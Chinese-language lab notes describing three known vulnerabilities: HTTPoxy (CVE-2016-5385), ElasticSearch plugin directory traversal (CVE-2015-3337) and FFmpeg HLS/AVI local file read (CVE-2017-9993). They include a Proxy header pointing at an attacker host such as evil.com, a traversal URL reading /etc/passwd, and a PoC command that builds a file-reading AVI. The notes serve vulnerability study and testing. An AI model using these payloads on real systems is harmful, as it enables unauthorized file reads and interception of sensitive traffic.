HTTPoxy漏洞(CVE-2016-5385)
原理
参考:http://www.laruence.com/2016/07/19/3101.html
简单来说,根据RFC 3875规定,cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_
前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY
值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com
这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com
,进而窃取数据包中可能存在的敏感信息。
PHP5.6.24版本修复了该漏洞,不会再将Proxy
放入环境变量中。本环境使用PHP 5.6.23为例。
当然,该漏洞不止影响PHP,所有以CGI或Fastcgi运行的程序理论上都受到影响。
测试流程
正常请求http://your-ip/index.php
,可见其Origin为当前请求的服务器,二者IP相等:
在其他地方找到一个可以正常运行的http代理,如http://x.x.122.65:8888/
。
附带Proxy: http://x.x.122.65:8888/
头,再次访问http://your-ip/index.php
:
如上图,可见此时的Origin已经变成x.x.122.65
,也就是说真正进行HTTP访问的服务器是x.x.122.65
,也就是说x.x.122.65
已经将正常的HTTP请求代理了。
在x.x.122.65
上使用NC,就可以捕获当前请求的数据包,其中可能包含敏感数据:
ElasticSearch 目录穿越漏洞(CVE-2015-3337)
利用方式
读服务器上文件:burpsuite的repeater中访问url:
http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd
原理
在安装了具有“site”功能的插件以后,插件目录使用../即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。
FFmpeg 文件读取漏洞(CVE-2017-9993)
漏洞信息
FFmpeg是一个完整的跨平台解决方案,用于记录、转换流式传输音频和视频,可用于预览生成和视频转换的视频编码软件。已知FFmpeg可以处理可能包含对外部文件的引用的HLS播放列表,可以使用AVI文件中的GAB2字幕块来触发此功能,再通过XBIN编解码器检索转换节点的本地文件,从而导致了可以在转码后的视频里包含了本地文件.
影响范围
小于 2.8.12, 3.0.x 以及 3.1.x 版本小于 3.1.9, 3.2.x 小于 3.2.6, 以及 3.3.x 版本小于 3.3.2
POC
脚本地址:https://github.com/neex/ffmpeg-avi-m3u-xbin
以读取 /etc/passwd 为例:
1.生成特殊的视频文件
$ python3 gen_xbin_avi.py file:///etc/passwd passwd.avi
2.上传 passwd.avi 到目标,即可看到如下结果: